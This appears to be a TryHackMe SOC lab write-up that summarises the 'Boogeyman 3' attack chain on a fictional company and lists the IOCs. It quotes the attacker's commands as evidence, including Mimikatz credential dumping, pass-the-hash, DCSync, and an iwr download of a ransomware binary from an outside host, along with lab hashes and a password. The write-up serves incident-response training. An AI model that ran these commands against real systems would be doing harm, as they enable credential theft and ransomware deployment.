

Boogeyman 3 — Attack Chain Summary

TryHackMe SOC Level 1 Pathway | Incident Timeframe: August 29–30, 2023

Target: Quick Logistics LLC | Victim Host: WKSTN-0051 | User: evan.hutchinson

#	Stage	TTP	Detail
1	Initial Access	HTA Lure via ISO	CEO opened ProjectFinancialSummary_Q3.pdf.hta from mounted ISO (D:) via mshta.exe PID: 6392 Parent: explorer.exe
2	Payload Implant	File Drop via xcopy	"C:\Windows\System32\xcopy.exe" /s /i /e /h D:\review.dat C:\Users\EVAN~1.HUT\AppData\Local\Temp\review.dat
3	Execution	rundll32 DLL Execution	C:\Windows\System32\rundll32.exe D:\review.dat,DllRegisterServer review.dat = disguised DLL executed via DllRegisterServer export
4	Persistence	Scheduled Task	Task Name: "Review" Trigger: Daily @ 06:00 Executes: rundll32.exe C:\Users\EVAN~1.HUT\AppData\Local\Temp\review.dat,DllRegisterServer
5	C2 Comms	HTTP Beaconing	Destination: 165.232.170.151:80 295 outbound connections from rundll32.exe on port 80
6	Privilege Escalation	UAC Bypass via fodhelper	fodhelper.exe abused to silently elevate to High integrity Spawned by rundll32.exe (review.dat DLL)
7	Cred Access	Mimikatz Download	iwr https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip -outfile mimi.zip
8	Cred Dump 1	sekurlsa::logonpasswords	Dumped from WKSTN-0051 LSASS New credential: itadmin:F84769D250EB95EB2D7D8B4A1C5613F2 (NTLM)
9	Share Enum	Pass-the-Hash + SMB	itadmin hash used via sekurlsa::pth to spawn PowerShell ls FileSystem::\\WKSTN-1327.quicklogistics.org\ITFiles
10	Cred Discovery	Plaintext Creds in Script	cat FileSystem::\\WKSTN-1327.quicklogistics.org\ITFiles\IT_Automation.ps1 Found: QUICKLOGISTICS\allan.smith:Tr!ckyP@ssw0rd987
11	Lateral Movement	Invoke-Command (WinRM)	Moved to WKSTN-1327 using allan.smith credentials Parent process on target: wsmprovhost.exe
12	Cred Dump 2	sekurlsa::logonpasswords	Dumped from WKSTN-1327 LSASS New credential: administrator:00f80f2538dcb54e7adc715c0e7091ec (NTLM)
13	DC Compromise	DCSync Attack	lsadump::dcsync /domain:quicklogistics.org Accounts dumped: administrator, backupda
14	Ransomware Staging	Remote Binary Download	iwr http://ff.sillytechninja.io/ransomboogey.exe -outfile ransomboogey.exe

Indicators of Compromise (IOCs)

Type	Value	Context
File	ProjectFinancialSummary_Q3.pdf.hta	Initial lure — HTA disguised as PDF on mounted ISO

Type	Value	Context
File	review.dat	Malicious DLL dropped to Temp, executed via rundll32
IP:Port	165.232.170.151:80	C2 server — HTTP beaconing from rundll32
URL	github.com/gentilkiwi/mimikatz/.../mimikatz_trunk.zip	Mimikatz download
URL	http://ff.sillytechninja.io/ransomboogey.exe	Ransomware binary download
Hash (NTLM)	F84769D250EB95EB2D7D8B4A1C5613F2	itadmin — dumped from WKSTN-0051
Hash (NTLM)	00f80f2538dcb54e7adc715c0e7091ec	administrator — dumped from WKSTN-1327
Task	Review	Scheduled task for daily persistence at 06:00
Share	\\WKSTN-1327\ITFiles\IT_Automation.ps1	File containing plaintext credentials
